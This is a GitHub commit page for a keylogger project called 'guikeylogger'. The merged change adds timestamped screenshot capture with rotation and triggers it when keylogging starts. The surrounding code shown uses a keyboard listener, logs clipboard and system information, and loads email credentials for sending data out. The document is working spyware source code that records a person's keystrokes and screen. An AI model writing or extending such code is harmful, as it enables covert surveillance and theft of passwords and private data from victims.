Skip to content

Commit c061875

Browse files
Merge pull request #26 from mukeshdhadhariya/main
feat(screenshot): add screenshot functionality
2 parents 3fd5947 + 6f8078c commit c061875

File tree

2 files changed

+37
-3
lines changed

2 files changed

+37
-3
lines changed

app/.gitignore

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
11
.env
22
data/*.txt
3-
data/*.png
3+
data/*.png
4+
data/screenshots

app/guikeylogger.py

Lines changed: 35 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,9 @@
2020
from dotenv import load_dotenv
2121
from pynput.keyboard import Listener
2222

23+
import glob
24+
from datetime import datetime
25+
2326
# Load environment variables
2427
load_dotenv()
2528

@@ -30,14 +33,14 @@
3033
keys_information = "data/key_log.txt"
3134
system_information = "data/systeminfo.txt"
3235
clipboard_information = "data/clipboard.txt"
33-
screenshot_information = "data/screenshot.png"
36+
SCREENSHOT_DIR="data/screenshots"
3437

3538
# Retrieve email and password from environment variables
3639
email_address = os.getenv('email')
3740
password = os.getenv('pass')
3841

3942
# Global variables for email sending
40-
toAddr = ""
43+
toAddr = ""
4144
state = 0
4245
stopFlag = False
4346

@@ -109,9 +112,38 @@ def copy_clipboard():
109112

110113
# Function to take screenshot
111114
def screenshot():
115+
os.makedirs(SCREENSHOT_DIR, exist_ok=True)
116+
117+
timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
118+
119+
screenshot_information = os.path.join(SCREENSHOT_DIR, f"screenshot_{timestamp}.png")
120+
112121
im = ImageGrab.grab()
113122
im.save(screenshot_information)
114123

124+
print(f"Saved screenshot: {screenshot_information}")
125+
limit_screenshots(SCREENSHOT_DIR, keep=10)
126+
127+
128+
129+
def limit_screenshots(directory, keep=10):
130+
131+
"""Delete old screenshots if more than 'keep' exist."""
132+
133+
screenshots = sorted(
134+
glob.glob(os.path.join(directory, "*.png")),
135+
key=os.path.getmtime
136+
)
137+
138+
if len(screenshots) > keep:
139+
for old_file in screenshots[:-keep]:
140+
try:
141+
os.remove(old_file)
142+
print(f"Deleted old screenshot: {old_file}")
143+
except Exception as e:
144+
print(f"Error deleting {old_file}: {e}")
145+
146+
115147

116148
# Global variables for key logging
117149
count = 0
@@ -146,6 +178,7 @@ def start_logger():
146178
count = 900
147179
listener.start()
148180
btnStr.set("Stop Keylogger")
181+
screenshot()
149182
while True:
150183
print(count)
151184
if stopFlag:

0 commit comments

Comments
 (0)